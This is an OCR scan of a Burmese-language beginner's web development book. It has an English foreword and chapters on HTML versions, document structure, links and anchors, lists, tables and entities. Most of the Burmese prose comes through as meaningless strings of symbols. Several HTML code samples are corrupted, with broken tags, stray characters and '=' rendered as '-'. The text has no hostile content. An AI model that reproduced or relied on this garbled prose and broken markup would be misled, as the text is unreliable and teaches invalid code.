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There are always two types of programmers. Those who understand the web and those who don't. 
And than there is a third type of programmer. Those that seem to understand the web, but don't. 
Being third at anything is not fun! The journey from this third type of programmer to the one that 
can fully grasp the potential of the web can not be achieved without having a great foundation in 


core web concepts. 


And this is why, and this is truly why I think this new book from Ko Ei Maung would be a 
wonderful contribution to make the web a smart and snappy place from our corner of the world. 
As a firm believer in the web and web technologies, I could not be more pleased. This book 
espouses all the concept and core undertakings every web developer should come to terms with. It 
is a foundation that every CTO and Project Manager wish they had both the time and energy to 
explain over and over again to their teams and to their recruits. 


Having such nuggets of knowledge in book form means that educators and entrepreneurs will be 
freed from teaching and training foundation materials, there by allowing them to focus more on 
what matters most. What matter most is creating more and more people that can learn more new 
technologies. Technology in general and the service sector in particular is what economist like to 
call "Tertiary Economics". The third wave of economic growth. As a country we are at the edge of 
this phase of growth; a nation that is giving smart people a chance to use their intellectual talent 
and skills in it's economic growth. This is such a book that aims to make that happen in small 
steps towards the larger goal of making the knowledge industry a first class citizen. 


But this is not the only reason I find this book timely. Over the last five years the web has been 
seeing the largest and most rapid growth in it's history. A plethora of new technologies like dart 
and asm.js, node and backbone, angular and ember and the list of endless new frameworks from 
the micro to the behemoths has come out. Each one of them as interesting and useful as the other. 
Which one do we choose for our next project? Only when we truly under the core web 
technologies will be able to arrive at an informed and valid choice. This book than will go a long 


way in doing just that and more. 


May you all love the web. 


Ravi 
COO, Geo Mandalar Investment & Technology 
CTO, NovaSteps Technologies 
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Client Request 
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<", Live HTTP headers 


Headers Generator Config About 


HTTP Headers 
http://www.iana.org/domains/example 
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Host: www.iana.org 
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RSen eo: [eëcloooSii 3290? 3209 c999(0:220: 0596090? o9(8:(89 c9 Standard oda) cop3ogc: 


Q IN > IN 80] € 
320932909 [o| co: qo? MENO: go ODOOII 


c ` ° ç ` ° ç ° CAR ` E <ç < 
HTML 3.0 espo3cooo?32s] qcoóeoeoleoeo? IE š Netscape 020206950095:0):6§ 02320902 cop299C: 
^ ç NII PEY Cc, Q Q € < o Ç `x < x 
€0:000:02 Element eog 326095qp:coo3(8(8$0lo»o5u 309000999€:60:c90209390200. HTML e, eco 
Rda: 026[895:(895:088 03 cooolo»o*i HTML ONUN Semantic Data Structure 
orpdes00038803 yeslemes secos Document 60202956800058a90205 RANAN Simon 
03006922{860los051 


HTML 4.0 à 4.01 o2espo$0232sleocooo (o$(06c9e«$660096co205e3996 HTML ooo Semantic 
Data Structure 38.03 gqesléaes eo:cgocoo(89(s$0lo»ou HTML &6$1220:000:0) Web Document 38 
oxu» Web App 6034,s06[98 Data Structure 6050360020 Font aĝi! eoco:səcspoC seqq]: 
Text Format coÓcoo:o Document 099099 [8ŠcooolsosocooŠi Browser Support 320140919000 30800 
ç c Ç O O ` M o ç x° e c € 
səa|o5 (8960609 Scocàeo:o>səc[eŠ Concept eogo»ocopó: 3330220060262 sosoc [es Web App qo» 
° ° c ç ° e ç c c ç 
Q c[Sooecooo5esooc cologoo5ecoo[eó: 32e(0206:96:0»$9[5$0lo»o5 v 


oc, 90 


W3C 3269 &326[83265 60202 006:090 e(8966s c9326cooolo»o5i sleoeoS HTML 4.01 qo cop?996: 

009:(8:a00: Element 020968009 Version oo Lsls (o9 c9eoo?eqolop: v coms} HTML 4.01 o? 
° AX : 2.2 TES ç ers o <ç e 

200) :(o| 66:900:000:02 Website coga: (a: Aes (9(69 02320205 [eoo[oscoosa Backward 

Compatibility o9 08305900{86 olor slef W3C o» HTML o?e(96e0296. XHTML eslo) 

oŠ: eo: Markup Language 029909 Jeoo (00959 e$ golia e(ox(£o3olo»o5u XHTML oo olo X 

un eXtensible s9033289lo3(s$60lo»o3u W3C ad o80g6000:03 Data Model Language [9003 XML 

° oc c(e. ofre IN ` Q <ç ooc IN 

69:D000:Q3909C: ego: qpel: 0(8:0300903 HTML ap: soácoloooot 

HTML go0095036:c00:03 Semantic efso Element 60203 XHTML oo fós Lese: ops: q: 
S. S. o ç 00 e CO. | ç ° ° ° 

©0200 GOQAPCDPS: 8806:(035ch050 on poeo - XHTML oo Element Tag co2390:0):0) 000): 

yy ç Oo IN c IN ° ° È e > Q ° ° 

e: RÒCA: qeda HTML 9260»? 000): 3003: 32620: ¿00M Quo ARİ 

Qs coo: ca: [0 olosoSi XHTML go Element 026:320505 Close Tag olo$sqeo$c922039030lo»ou 

Close Tag ego? Empty Element CoR pS: Self-Closing Element s [e° @93{Ga005g05qeu5c3 

9005905010005 (poeo - «br /» <img />)i Attribute Value o96:02cop3: Quote s9026:03¢0 
e... ç o0 Beso] ç c . € LAS LAS S: Bal S, Q £ 

00P3036:4805099903903010905 I ofeg so [so:oso5eosajo5 coa: golero ANo 

XHTML o» HTML 9» qg0:3033290:6090? Kilos s: Semantic Document 60200036802050 

c IN c ¢ 8. 0 C * CoO NGS IN 
320200 pgs: mo Markup Language o»9qQ|:9(s90lo»ou 
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WaSP à B:csooc 9 Web Standard sgp: geg ysef Web Developer cozuy XHTML o? 
o»» Web Document 60202936s000303eo»:(9|8(o»(8: ao (go: Developer cops: XHTML 02000 
3905;(3/8 320:60:9602 (10958 {o30l0005n 


WaSP ÔR XHTML oso Semantic Web Document à Browser coge, Web Standard Support 
0? qp:go oo03espo99$30o»9(890lo»o3i oəoCoocoqjoSoqjoS s: XHTML ooo Version 1.1 
cre : ` So IN > e ° ° oc o c 
(S9 (9: Version 2 32684 code coo3 (86:600? egolop:u Seoes:esqj$co W3C e(oX(£oqo?qp: 
306) codiciosos: XHTML 2.0 320623: HTML5 02000 səšoolo5 Web Document qp: 
IN IN e c ° IN IN 
320209 020902p5:6000 Markup Language ao (563225: (9 (maso (S$olo»o3u 


HTMLS o qp$go$q[0360006:e02$80? XHTML 2203905q|096020? e0l6:900009296:000:(8: eco 

HTML 4.01 300): (9000: o) Website 033902030095: Backward Compatible (893226 $600o:0] 

€ < ° ` ç ° SOS ç < 

00051 HTMLS aoc(0206: ego gp: gogo Sesa. 602201993 t 3294: (oo) eqpo? 

e C o c < ç Ç 9,0900 0 * co o 

go 08: (50:0066 e«p:68:eo[s90lo»oóu 329009 AQISSOMOQZDECVCD HTML Element o5$8|.0? 
NN ec9co09go:qi6olo»oóu 


2.4 - HTML 
HTML Document 0009 (S6 (82058320205 32409:99:093208J09006002 Document Type Declaration 


o SCO] 


Š [ešoloooSi 805$90lq6 HTML Document ajapgco (En 3leoeo$cops: (29999? HTML Document 


c CLEA c e ;| jl IN e jl IN 
0509002 329 9:30:60 eII eV Element 602 OIOCDCOIOIOO - 


<!doctype html> 
<html> 
<head> 
<title>Document Title</title> 
</head> 
<body> 
<!-- Document Content --> 
</body> 
</html> 


0003):096: <!doctype html> aor $ Document o» HTML Document o»99(89e[p256: 
e(oo(£oc903o? Document Type Declaration ó [soloo os HTML Elements 39:09:09 <html> 
Element 39026299 8003000368220: 9700 <html> Element 32026:90 səƏoo Element &990»0qol 
on «head» Element à «body» Element o?9(s90lo»oóu «head» Element ooo coms} Document 
6020989602 303/09320003609 c[oo[co@soo5: [D eloloooSi o» me desa: [as «title» Element 008 
9 cloéaoéclos0$ <title> Element 32096:90 Document Title 32684 soos: [ojc9o3eslé:o90? 
0099996:60:q9o0lu «head» Element 390263999 copsogE:6a94od sa[ao: Element cozomeon «meta» 
<link> <script> <style> 030(gdcloo05n 
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<body> Element 32096:9060»9 Web Browser go Content s»e$à eoS[peocoo) seqo$32coo?eco 
OS: CDQW $9sogo a:f) «!-- --» Element meo 903803602 0093036: 
2 OC x < € ` ` c < 
a:f $602 Comment Element [ešoloooŠi Comment Element 0699 @9:900:000:0) səag|jo5səcoo5 
602029 Document csm. posao gp: anv: coasagé:e03[Gq00070503 mise: 
c € 
[ešoloooŠi 


€ ç 5 ean ° : o, QN 
oo5a|o5 uu HTML Element ¢029095:69:000:000:03 Web Document copo? File System oo o98:3099:02306] 
html Extension (poeo - home.html) à Dap: qlo Document 0299000 Web Document (S9e[0226: 
c ° ° ° : ° ° x . : ° 
RYJ saooeo:@ Extension oo səƏoocoooeoq|olog: Content-Type eslo File Attribute man 39605 
y ç ° ç ç o : o C QO ° ç o9 c 
(eSclos05u alos cop?ogé:e[9oqo»o0» Web Document oc: html Extension qaeo5co Qeo»eopsocoqie co(s90l 
ç < iN IN : x ç eos S 
O2OII eu oyen: [5 9$eoeo? html Extension e60:000:0) Web Document eopcopó: g&coloooàl 


Basic Elements 
026[G0:q5e09:03 c966soo6qJ0$e020? eaneecoo(8: HTML Document 026903 og|$cosoo2 0290 


coà coo[eces[o2 Text Document 6038 8é:onS{axa3qeseoéoln Text Document 60292 $9§390:(6¢ 
calé:8: 6o20l0051 0293 cogoleoŠi eo«6:6020leo3! eo20:6020leo3! @q2000:[895096:8603 Form coo 
olocoo[eóoloooSi (s0$9030lo686 0260202600? ocogà Hyperlink esT zoo: Document 60203405 


30038603 Link cooo (s90lo»o5u 


c ç ° 9.9 00€ 


cole: 8: 30303 «poo 30:06 c90969l6:0:20q|:4|: $$ 6 oloooi Document 020990 Main Heading ca 


colo) 2800 eol: AR OV o»05«96«pooqpooó9$eo ooóso6860:000:0? Sub Heading eal 
ealé:053e02 $&60l 


Main Heading 320209 <h1> Element oob: qulo ocoesasoGeslé:058a90205 «n2» Element o? 


0031 HTML Document 020990 €916:0:36916:223 (6) sofos aolo 


ob:qoloooSi 3090032s06 32020? esl6:0930260»? <h3> Element o9 səo5:[o|a[0: <n4> <h5> «ne» 
ofe pesole: (8) soc 8[G0:3005:[4,SE0loo05u 0905 orpSes0005eg03 Document 2522003020505 


G3206 o00$s96peslé:8:! e9l6:093020? cg:a|o5Ssə2o5: [ol qeoo[eŠ olosi 


oc e e ç ° c ° ° c c c ` oc Ç x 
eoQ3coocoo5ooC:eeo[0G@səooo5 <p> Element o? seos:(ojqoloo»o5u c9l6:09605302056050 oco2 
HTML Document 0209000 32909 (S986 olo»o5u 
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<!doctype html> 
«html» 
«head» 
«meta charset="UTF-8"> 
«title»g9(g - oeq:s0gp</title> 
«/head» 
«body» 
«h1»006q:sosp(o3: 8:08\[6</h1> 
<img src="nyomya.gif" alt="3:08/(6"> 
<p 
¿grade cqpe:$: (8,908 sə[eç[8|, soooooooš god me 06:03EE 32005 0882905693 q s28§e0r5q, 
69,39 $:000é1 328 esT (esTegaó) ohm ogoç 946 efa oo qa eo»[0326$096 e9:9o:o»p5i 
epa: 8:08§:006 [8ëcox5coo5: meme ses le ptos savqi: 0399 econ 
</p> 
pe 
egg epojés ecooo$: eoqpé: (0305998 egg sospcoo5 $:pom eo36:0206 noé 
op ese ! IFI? 946026 $ 009299053 «009020 V més opo 949026 
88) (260860 Q0509:00$:) À, AVS Sgço 949096 sun 989 (02:0 0999) À, Q81 
</p> 
«h2»000$0:«/h2» 
<p> 
S899 94 osoin Jg qe pes 6 4oQ Qo 846096 qf eco:q[05:3 agog oophr 
</p> 
</body> 
<em> 


899002 con. <head> Element 39026399 <meta> Element 009 [sasgasvloécos 

02009 eog, oloo 8 Element NUS Document cbeooloCo Content eogo?eo(08 UTF-8 
: ° ° ç o Q € ^ e ç e o e e ç e 

Encoding o» seos:(o|seoSc9e[oX(£oc905 o»o9 (59 0lo» oSv 309250590560:000:9950 (8$eoo0320la206 

ao[80:326c90906090502 90q[::0294004 6320€ eoS(peo:&6o (sdole05u 

<body> Element 39026 :90 ameo l:o 32863225: q|c902 «hi» Element o»990loG(8: eolé:o93 

e e Q x e ° e ° e ° ° e CS. 2: oc 
afe eLo «h2» Element oəsóəo%oloCooooocoo5:osoo[o|Əəooli cop$256:c902 92903006002 
(Q) 93 (8503320205 «p» Element 09:9 3905;(0|000: 020083 602. 986clos051 


oo: [so:a|o5səoesš <img> Element 0069030095: 390): [9000:0lo 1 <img> Element o? OGo2 
Oop9996:0902 a2ela»o»:[p|qolo»o5u Empty Element o8 [e° Š: x Close Tag à Tag Content e 
olocoloz:1 3leoeo? Juoda: [qo Attribute polos src Attribute o? ¿ojo Path o? 
ç ° 2 IN : ° ° Erg + ° e Q 
oəš[oco:G səo5:[o|goloooSi alt Attribute Reon decafogco səc[8səcscooso Q3200:eo3(060c9 
030) O: co:8o9:qolo»o9i QecoS(0&6 odef src q060:000:0? Path càeo:esoooó 
ers IN IN IN IN IN > e C-O x ¡JAS eS e _.e ge 
olod 326020403 3290033025905395093»3e[02»6 eceo[o8Coooo[es[eë sae[QaaegqordqSqSe(OIE ó 
ecufogco efef 6q:00:000:0) $9400? nyomya.html File Name à oe: 


086:a005:(8: Web Browser š 96059 [ma pesi səəcocoo[ecqeoo[eóoloooŠi 
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«*", L - MGOP - Mozilla Firefox 


{3 (8 - GAO 


| + 
neyop(a: dle 








. oc c eo ¢ € € c oc € c eec CC x o c 

Sgpege capé $a apél, sanonuí Sp seo eC:opCUC 32005 02032000226 coma 

eges 8:0» 328 elas (cslegss) o pos 956 efo 20 q% eo>[o2oesosé C 9:go:oo Su 
€ c e. Q € € € E € € o e E A x 0 € € 

sew pogc: S:a: [eš=osScocS: meant svp’ ae pue saepoqc: 0329 op6oopoi 

egg socpcpóe goon: eoqpéa Mme soepeors Sian |mapé 103026 oon upon 
a a a ° bo 

2o63el opor pto ej mao cacon vay ion opga piécgó Sgo 


£ oc © =a a ` ` € c £ Qe Lo > > ¢ 
(éso Qa5o9:05$: 2, qe gon eG? 90C gun y (s002E:0> vps) 22, 93 opel 





Moss 


¢ 


agag 946 ordoréomco je qnieg pez Ë på qo Ššéo2é arp} co:ġ(8:5 aguSf 320051 





«hl» Element so): (9000:0) sa8oreslE:8:03 eoc5:e9(09:(09:8602.9»(89(0:60»9 «n2» Element 


300): [pjooo:o3 calc:op3meon 30409:c03620:00202e02,qe»(890lo»o3€ 3aleoeo? eş codo 
° e e ç o IN e e c 1 IN 

o009e0:qj6000 006002 jeo Document Structure oop$esooo?es[s6: [eóoloooSi Browser 

IN e e e ° ° ç O ° e ° ç ° 
oo sas06e(Gesaré eo3(9e0:6s 60e ma: (rata? «n1» Element ob:oooeooo5olog:I 358026916:3: 
8 «h1» o$:0200li səsp5:co5o[o2:a|éco <h2> ob:oooeooo5oloq:i es]|Š:65699 <h2> ob:ooo[eeoloooSi 
maso Browser oo səcosəccopooceo[oco:eso> Size oo sooo: og §e0rS0308qjEo3 
Size à Style 290033207/9 83206 CSS š e[ešecs[oCsoCooago:oocli slefox¢ HTML 6q:220:4]$ 9o 
"naco." s900009 e29:00:25€0lop:t muro s90200290003:90:(8: 22660230) 
Element à 329b: [jeo eoo (890lo»o5u 


gq u ú HTML Document o 6q:920:023eslgo 00p9996:000:0? White Space cogo 3209009003321 

0099996:09:00:90e05090los:! White space sooo "Space" "Tab" à "New Line" o932050$ 220): (9/000:0> 

cəspcəc5cooo2 e(920o0li HTML Document o? oəšq||ooooo Process aozas lÒ elsi Web Browser oo 

699{G03egq2920 (s$(só White Space soəsəeo: Single Space ¿om 3890:09:(8:32096c99929»:e»(890lo»o5i al 
micos D Son White S o <ç LAS o A S o]osos 

elos oo|šeoo5So2 Document odgo White Space 60203 469005 000% 00p9296:6«:220:$60loo09 t 
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ç e e IN Sfo ` ° : d Sons oc. ç ;l IN 
goa/0) uw 3023906 MeCN FR CCE — com/pwda-rc q 3297:0P3207C: ReO: $ 000: OlOO OOII FRY? 
° ° ç oc coc e e ° co 
60207 OPOIOPC OP: 0206: ks A 3260006: S9: 20101 comsengony id 8038e0clos0511 eY 2000: o) 


epo gosp Text Editor o? Pn 5 sl]soeo5 Notepad c Editor d$c Só 
ec[ooloq:! səc[eŠ coÓesoocajo5coo[eóo Line Number, Syntax Highlight, Auto Indent 20090 coÓesoocajo 


eogoloĉoà Text Editor 029990? 322: ffos 2002 - Sublime Text (sublimetext.com), Notepad++ 
(notepad-plus-plus.org) 


Hyperlink and Anchor 
ç c oc ç M ` oc o coc 
G4,3294:90 Web Server 0209929960: 8009:000:02 Document & Resource 026:320505 NA 8608 500 
URL 00698§{030005c8 elos HTML Document 6034, 3280209:(82:8/0$02602? 328 URL 
oc ° ° ° c o . ` O coc 
VONC 3905;(01(8: Document 02090068 ao (go: Document GORA) Hyperlink 602390 $200 $c 
(86:0 [ešoloooŠi 


x° e CN C ON o Ç 66 IN ° Ç oc e ° e 
Saf Document oo$9$25056:0000 3590$3906:0099006$ Ma sss d 0069030095: 
$jo$eo0$ solea: [ĉo Document 026984}05s003000:03 Link o? Hyperlink esl(9: 05A 


Document cooo ga(90:398053086:0069034}o38003000: o» Link oe Anchor Ses! ecg golooo3i 


c o COC * 


ea ee Link "d i as Resource mos: gjoss003 8603 External Link š 


coms} Document 32096: 23909 3906: 029909 929238: joss0 038603 Internal Link 388: 5041 :$0) 
ooeooo[s$olo»o5u 


External Link oop$296:qj6q6 <a> Element o? aoo»:[p|e(8: Internal Link oop?296:qj6e 6 copo: <a> 
Element 033 səo3:[o|goloooSi <a> Element o36:9o href sQo> Vso URL pfi: 390909 
Attribute ooóə e(s$eesoloóqolo»oSi Google Search o? gjo5s005000:03 External Link 006903 329 
aapa: ¿colon 


«a href="http://www.google.com/" title-"Google Search">Search</a> 


€0:000:0? &Q4o9o http://www.google.com/ oo 808609 URL 0? href Attribute š <a> Element 


ç 


e ç ç ec e . ooç 
320905 0099996:60:000:0loo05 1 3 Link NO MaS http://www.google.com 8030860003090: q 
eoŠc9 pag: coo:[88:coeS:[88dloocSi 


title Attribute 0095036: 60:000:02003.0005: 894090609 qeooli 8 Attribute oo ecop9cop3:qeoeo? 
«a» Element OÂ: 39(80009296:60:2260? Attribute o»$e[s90lo»oóu title Attribute oo coms} 
Element 8, səƏglo5səoq|6:o2 3905:(0}995903 03660 Search Engine Spider cogo oəšsq|looooqoqë 
paca që: coo:o5 o»eooo(s9(8: <a> Element ooCeooó se(8o:ep920p? HTML Element à e 
8030033905: ¿(9% ) qoloooŠii 
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ga nu HTML Element 029990 title Attribute eo:coo:o>səs] Web Browser 9o [og esos Mouse 4 


° co c eo c : . ç c e ç o : 
Element o? cooomcpaseudsapgce title Attribute qo copjagc:eu:002:03 saqjo?3acooóo? Tool Tip s»esà 
L L L 4 2 o L lo 


e c ;l € 
eoS(9co: 9^ (s90 ono Il 


URL eo qp399$:000:0? Document o? o3:i(go: Browser Window àee3(0eeqj6q625:0) Attribute 
mojo ooo target="_blank" o) Attribute O(s90looo9i c9eq:220:60:qoloo»o5u 


«a href="http://www.google.com/" target="_blank">Search</a> 


° ` c So 2 COC * < <ç < ç ç 2 < 
3 Attribute ooo o»99lo»$ Qoo 3200:06&C02320205 0093036: 605(Ge0:0200I sleoeo$ səo5:e[o|oo5çol 


97:11 Web Browser Â: Link o? Right Click Sóc9o3q6 "Open Link in New Window" 38 2 
IN 


Option oloCcecogoloooŠi 399}:[Gja9axa0g GE Link o? 08:(80: Window cošəšceo[0@ 22020509 
eg:qjo9&6eo[s$oloooów aggcomos  cop$eo:Gec9olosw oop?eo:c9o9e0099 — 3905:[Gja9390205 


(000080 (856 0r050220I LENS: f: Window ¿0 s»[8es(peo»?9ooli coo9$ Window cšooó 


n On 


c < ç o - ° ç ç O 2 O n9 : ` 
eo5[peoqj6olooo$c9 egio Option e#ecooclog: o9j$eoo30200 səo5:[o|ooo2 "o3:(go: Window š 
ç o ç Cn 0 < < Co C or ç 8 > < 
(o29909(0293 905 " c9 gomos: Force coócoooosco[eeogo:oloooSi Š User Experience gesléseq, 
ç < ` ° < < < < ° € < € 
[sq target="_blank" Attribute o? egppéswcon (s90loooów Sefi: cAn 

026002 e(59664c93200? o»$9lo»$ G90 3905:06 0205089099 0092296: e93(960:000:0» (890lo»ou 
Internal Link (Anchor) 0069 0093036:$390205 02)§602508 (89990340:0593€,90006009 Document 
c E ç x Oç QO 0 coe c iN o T Oo x Cx 
0209 3202€:90 oloéo3 HTML Element oc: apadge ID 250590560:000:c9 $02058902398|020 
[eóoloooŠi poo - 
<h2 id="ch2">Chapter Two</h2> 


š@šoeo <h2> Element o? id Attribute a:f: 020506 ID 0209 020390360:000:09030loo03 i 
mag Document eo ooé[so: «h2» Element cop: Qàcoleos:oooSi 3leoeo? 3 «n2» meon 
coc 


ooqp:šeooo 020506 ID 02899292: [solon <a> Element o? 3905;(0)(8: NA Document od 
md 6g 62020903 32093203] 025:e9|o9s009c9q6 ID o? 228:(8: gjoss003q 0220100051 2092 - 


<a href="#ch2">Chapter Two</a> 


8 <a> Element š, href Attribute qo Document 02990980999 $:000:002e05030 00% Document 


amd ch2 sQo> ID fo) Element o3qp399$:c9o?ooo(s90loooó» #ch2 c9 egg + Sign eo: 














0099996:60:0000? ovo [oou 
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External Link GO290Cop9: (odo Document m9: Rue 338 Document ò Element 0209 
o O CO C ç O O CÇ ç ° S OC. x ° o ç 
OP 020240? oo$:s0cosécoo: $§05:39036:53905:(0,8Eoloo05i goeo - 


<a href="http://example.com/toc.html#ch2">Chapter Two</a> 


° ERR = 2. 


$908099 example.com/toc.html o8 og$:s9opeoo 338 Document cooo #ch2 ado) Element có 
39033207 02$:990009996:60:09020000 [soul 1 














Lists 

HTML Document 029990 90$6:32688 eo3(po? List 6020003256:8320902 Element 509 loos 
<ul> à <o1> [8ŠoloooŠi <ul> on Unordered List ¿0332891 (s9(8: o2q:0 Bullet eco:602 
coloco: eo [eŠoloooSi «o1» meo Ordered List s9o32e89loS(89(8: e2«6:02 §0lo5058 epeo: 
eoo[eó oloooŠi 

Sesqoeocó PuSo: List oo sadaa0Sayg[8:000: oqs: <ol> o? s:$: 
sess, 090 qÊ: qi <ul> o? AN 293 mn3q|:3200:3 0209 
esc 320):(0/9 es cono d03{0305(8: 2 ajo5səo5:[O|qoooeooo5oloq:i Bullet à eLo 
§0105058605(G0005 880} aa{GEsasoéar some cooococ[ooC:cooocoqoloooSi 


[Ro Cc 


Š, 


<ul> <ol> Element 60239026:03¢0 oloé geod Item 029 6:03602) List Item Element (S603 <li> 


Element 3905:(0}0095036: 6034900 [ešoloooŠi 





° ç 

codo qué 

L f 1. Chapter One 
«li»Chapter One«/li» 
<li>Chapter Two«/li» 2. Chapter Two 
<li>Chapter Threec/li» 3. Chapter Three 
<li>Chapter Four</li> 

</ol> 4. Chapter Four 

642909208949 qco$ 

suls I * Yangon 
<li>Yangon</1li> 
«li»Mandalay«/li» ° Mandalay 
<li>Naypyidaw</1i> - Naypyidaw 
«li»Monywac/li» 


</ul> ° Monywa 
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<ol> Element o? 3905:(0103 List ooóəəo 990509 2205905e0:qj6q6 start Attribute so): (9,$Col 
O20! poeo - «ol start-"5"» gs 4olo$egecS(0023o9l 1 men» 5, 6, 7 oaf efe: og»: 


g2{gdol ón 


e So e ° e e e ` e ° < e e e e e 
o»9elooó4 mac: 3293209000360»? 39320900030! sleoeo? səesoooooc[ooc: [os (3:05 cod 
oc.0 C C o. S.9 IN ;| ç x° 00 C : ° a oc ;| IN 
da) $o93|60oo$|:cop3:$]02050lo»o3i 338c9s9q66009 reversed Attribute o? aan): [o 8Coloooši 


poe? - 
«ol reversed» 


ga II II coda], Element Attribute copeo Attribute Name dol: Value eolo3 Attribute coggolon 1 230 
Attribute coəcoooo[eo: Attribute cogeq:000:04 o»9p900p9: (86 eoqj6 qc Attribute Name BS Value ao [eë 390): 





(96:222: $60lo»o5i poe - «ol reversed="reversed">l XHTML coo $cbz0[Ga5s0Geq:02003 320:GO: 

TA ç coc, " ¿ados Val 0 Attribute N ç C oso mS. xat IO 

$|o2e0e09 329640050€:906009 6$:002:q0?0? Value eoló ribute Name 250595056q:200:02 eq: $: 
ç o 


Mm Slososi s nto 
320:60:000 (mlogo ONO II HODOAIDO? 68: 0008 &CO ONO II 


Table 

@09:6020009096:8390203 <table> Element o? səob:[o|&ColoooSi e000:00ó9009 Rows eo 
Columns 6034 9.005: 000:0208 Table 029900p9296:e05s9q6 Rows eog Columns eogol 9905905 
copsogE:6079 eo[eŠoloooSi Rows 6020095036:8390205 Table Row <tr> Attribute o»:qeo(so(: 
Rows 0269899 oloco3 Columns 60308 Table Data <td> Attribute š o2ošəo5eo:geo[8écloooŠi 


cA: 


<table border="1"> 
< (sr > 
<td>484</td> 
«td»MX«/td» 
«td»MEX«/td» 
<td>Mexico</td> 
a) tere 
ities 
<td> 5 04</ td> 
<td>MA</td> 
<td>MAR</td> 
<td>Morocco</td> 
SIERE 





<tr> 
<td>104</td> 
<td>MM</td> 
<td>MMR</td> 
<td>Myanmar</td> 
Siete 
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re 



































SE 
<td>>24</td> 
<td>NP</td> 
<td>NPL</td> 
<td>Nepal</td> 
<a> 
</table> 
qué 
484 MX MEX Mexico 
504 MA MAR Morocco 
104 MM MMR Myanmar 
524 NP NPL Nepal 
Table 390305 €916:0:00p9296:q[6 qi 
«th» Element à e(oo :càsəo5: [Oleo:geo[eëoloooŠši 


eq:o5%:04g4o 


<table border="1"> 


SLE 


«th»Code«/th» 
<th>IS0</th> 

<th>ISO3</th> 
<th>Name</th> 


</tr> 


epp 


<td>504</td> 
<td>MA</td> 
<td>MAR</td> 


<td>Morocco</td> 


so 
iSc 


<td>104</tda> 
<td>MM</td> 
<td>MMR</td> 


<td>Myanmar</td> 


peu 


</table> 


con eslé:ó:se(S$eo3(9c90? Column eo <td> Element s202: 
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cos 
Code ISO ISO3 Name 
504 MA MAR Morocco 
104 MM MMR Myanmar 




















cloos 


al eh. 


<table> 
<thead> 
ae 
<th colspan="4">Country List</th> 
</tr> 
</thead> 
<tbody> 
eres 
<th>Code</th> 
sanos ost n 
< h S eese 
<th>Name</th> 
pn 
Sen 
<td>504</td> 
<td>MA</td> 
<td>MAR</td> 
<td>Morocco</td> 
Gees 
LIO 
<td>104</td> 
<td>MM</td> 
<td>MMR</td> 
<td>Myanmar</td> 
pire 
</tbody> 
OO 
E Ira 
«td colspan="4">&copy; Copyright 2013«/td» 
</tr> 
</tfoot> 
</table> 


Professional Web Developer - səəŠ: (J) HyperText Markup Language - HTML 


çə 





























qos 
Country List 
Code ISO ISO3 Name 
504 MA MAR Morocco 
104 MM MMR Myanmar 
@ Copyright 2013 











<thead> Element ð «td» go colspan="4" ado) Attribute 026905:c00:02003 oooo[o|olu 338 


Attribute o» Column 60303 ole: 0505 peoos] 3905:(0|0l00051 colspan="4" e səƏglo5 
< 


0o Sesqoeo "eco:0903006$ qoopo] " ca e(ooc9o$o»c9olóu slefoxg quico E005: 
Country List soo? Column o» co: es«pop(8:eo3(060: 0220609 qgooli 


«tfoot» Element cgo &copy; 8803 6€:220:9029909cop9: mood 333looeo»? HTML Entitle 
Symbol c9eslo? op:(80:0225e0500609 pfas: oas] seob(o|qo? eqo: şs: fedos 
Ampersand (&) šsəo[o|[Š: Semi-Colon (;) š səsb:o5o5ecogoloooŠ!I &copy; Meon © Symbol 
ea: cop9o2C:a|Coysəə] 69:00:03 HTML Entitle Symbol (s90lo»ou 


&COPY; 099 32000109 Symbol eo23oqp:(o9: Qolo 0009996:903200:22602 Symbol ALNA 
eo: olosi 








&nbsp; - [Space] 
&trade; - ™ 
&reg; - ® 

&lt; - < 

&gt; - > 

&raquo; - > 
&laquo; - < 


3969:99(08:93:00602 Less Than Sign ( < ) [šóoloooŠi cop$296:ec3(0002:0200c592 Less Than Sign 
c S ¢ 6 oc,o C ç OQ CÇ o : ° ç Oo 
œo aeq 3oc:qojocooocoooco eqolog:u Browser o» < Sign o» Tag aogécoopso ogo:gooli &lt; 
Q e : ° ° e c € 
CO peo: &lt; espe < Less Than Sign o» Browser oo 3200:09:6o9(960:e»(s90lo»ou 


Table Layout 

8ao9$:90 eapsabo[0269 02099 020 ooóe(ooqol:eou HTML Document 02999000 Semantic Data 
> c c ç < ^ < < c ere x° ° E 

Structure sa6§ §§ 0009030295650205000:02 39g |09390003QP2000(8 6006 (8: 393 Document o9 9905 

°. ç € ç x 0 ° ° CA ` < < c ç 

o o003809:e63(0 qeco S9020096002 oŠ: eo: Style Language (S905 CSS § 99059059 022[80los051 3] 

eooo (92224000 XHTML eo? 6e 6go Browser 6034, CSS Support oo 326095600:390:4 09290109051 
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ogeG 25090 so(0:0209802 CSS2.1 o9 Bomen coob:səqp:s5:[eóo> Internet Explorer oo 
JOOS gadeg o»$o09eoq?eoq Support ec»ó&60lo»o$i alsomé o»$005$e019e0350Q0leoo: 
nd Jooo ecc o> Web Developer scogoso Document 60303 Style 090858 CSS o? 320:09:c96 
qola: slef eqqes2o6 (020$c9902 e$f <table> Element 60203 Document Layout 320205 


seo»:(oja [o3 olo»o5u 























eo5[po0o:0? Layout o? Table 0299c9 (eS (p2o$olu Row o3:9 olooo3u səcooS Row $o Column 5094 
(8: oq|Š Row ¿939 Column 00698§{o30l00051 $505:& <table> Element 60203 ©296:e002: suo 
8 609090 Document Layout 32020999:3[20lo» o5 odvas: [eə5: Web Developer eop(o2o: 
2960932075 0299C9 (8905203320205 XHTML colcoo[Š: Semantic Web o? 39026020004} § | Browser 
CSS Support cop 390905 326c3[209320: 60026: cooQ]$ qo «table» Element o? eu: eO: 
Layout 32020909: SIGONEO: L l:o: S qoon 


< ° < So < enc ç 
megecamgocon Browser CSS Support soooo sacode: Lahza: eon: es [S[eëcloooSi Layout 
< 2 o < c 
3205026005 Table cop 95:680 peeo: ome Table Layout o»990»» CSS Layout 
coma (4900090 (86:cop3:eQolop: slefaxg AÊ <table> Element o? Layout 39030305203 


69038 30203 «9026000030 egion ag§e0r50308.03096[038 eopo30lop: t 


Formatting Elements 
Text cooo Format coócooysəslsəo5: [S 8 60? Element coggolona 1 səc[ešsoəo: [ee <b> Element o? 
oqe Bold 09683005:(6)(8: <i> Element o? Italic (G102583095:(6) SE olo» oóu Sleoeo$ Format 
c ç o ç ° Ç Qoo < ` < ¡JAS )] iN ^ 
AONO 32986022 902609099005 0000 eo5[pqec522o5e03(86:(590 0001 HTML Document có 
eux coc ceo c € iN 2 < ° C Qoo 
